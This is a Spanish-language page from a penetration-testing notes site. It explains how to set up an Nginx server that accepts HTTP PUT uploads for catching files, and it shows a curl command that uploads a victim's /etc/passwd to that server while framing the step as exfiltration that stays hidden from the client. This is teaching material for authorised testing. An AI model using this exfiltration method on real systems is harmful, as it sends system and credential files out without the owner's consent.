🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • HTTP/S
  • Nginx – Habilitar PUT
  • Upload File Using cURL

¿Te fue útil?

Exportar como PDF
  1. File Transfer

Catching Files over HTTP/S

HTTP/S

La transferencia web es la forma más común en la que la mayoría de la gente transfiere archivos, ya que HTTP/HTTPS son los protocolos que normalmente están permitidos a través de los firewalls. Además, en muchos casos, el archivo viaja cifrado, lo cual es una gran ventaja. No hay nada peor que estar en un pentest y que el IDS del cliente detecte que hemos enviado un archivo sensible en texto plano, y que luego pregunten por qué mandamos una contraseña a nuestro servidor sin cifrado.

Ya vimos cómo usar el módulo uploadserver de Python3 para montar un servidor web con capacidad de subida de archivos, pero también podemos usar Apache o Nginx. En esta parte, vamos a ver cómo montar un servidor web seguro para operaciones de subida de archivos.


Nginx – Habilitar PUT

Una buena alternativa a Apache para transferir archivos es Nginx, ya que su configuración es más sencilla y su sistema de módulos no genera tantos problemas de seguridad como puede ocurrir con Apache.

Cuando permitimos subidas por HTTP, es fundamental asegurarnos al 100% de que los usuarios no puedan subir shells web y ejecutarlos. Apache, por ejemplo, puede ser peligroso en este sentido, ya que su módulo de PHP tiende a ejecutar cualquier archivo que termine en .php. En cambio, configurar PHP en Nginx no es tan directo, lo que en este contexto es una ventaja porque reduce el riesgo de ejecución automática.

Create a Directory to Handle Uploaded Files

gzzcoo@htb[/htb]$ sudo mkdir -p /var/www/uploads/SecretUploadDirectory

Change the Owner to www-data

gzzcoo@htb[/htb]$ sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

Create Nginx Configuration File

Cree el archivo de configuración de Nginx creando el archivo /etc/nginx/sites-available/upload.conf con el contenido:

server {
    listen 9001;
    
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}

Symlink our Site to the sites-enabled Directory

gzzcoo@htb[/htb]$ sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

Start Nginx

gzzcoo@htb[/htb]$ sudo systemctl restart nginx.service

Remove NginxDefault Configuration

gzzcoo@htb[/htb]$ sudo rm /etc/nginx/sites-enabled/default

Ahora podemos probar la carga usando cURL para enviar una solicitud PUT. En el siguiente ejemplo, subiremos el archivo /etc/passwd al servidor y lo llamaremos users.txt.

Upload File Using cURL

VICTIM
gzzcoo@htb[/htb]$ curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
ATTACKER
gzzcoo@htb[/htb]$ sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt 

user65:x:1000:1000:,,,:/home/user65:/bin/bash

Una vez que esto funcione, una buena prueba es asegurarnos de que el listado de directorios no esté habilitado navegando a http://localhost/SecretUploadDirectory. Por defecto, con Apache, si encontramos un directorio sin un archivo de índice (index.html), listará todos los archivos. Esto es perjudicial para nuestro caso de exfilling de archivos, ya que la mayoría son sensibles por naturaleza y queremos hacer todo lo posible por ocultarlos. Gracias a que Nginx es minimalista, estas funciones no están habilitadas por defecto.

AnteriorProtected File TransfersSiguienteGTFOBins

Última actualización hace 2 meses

¿Te fue útil?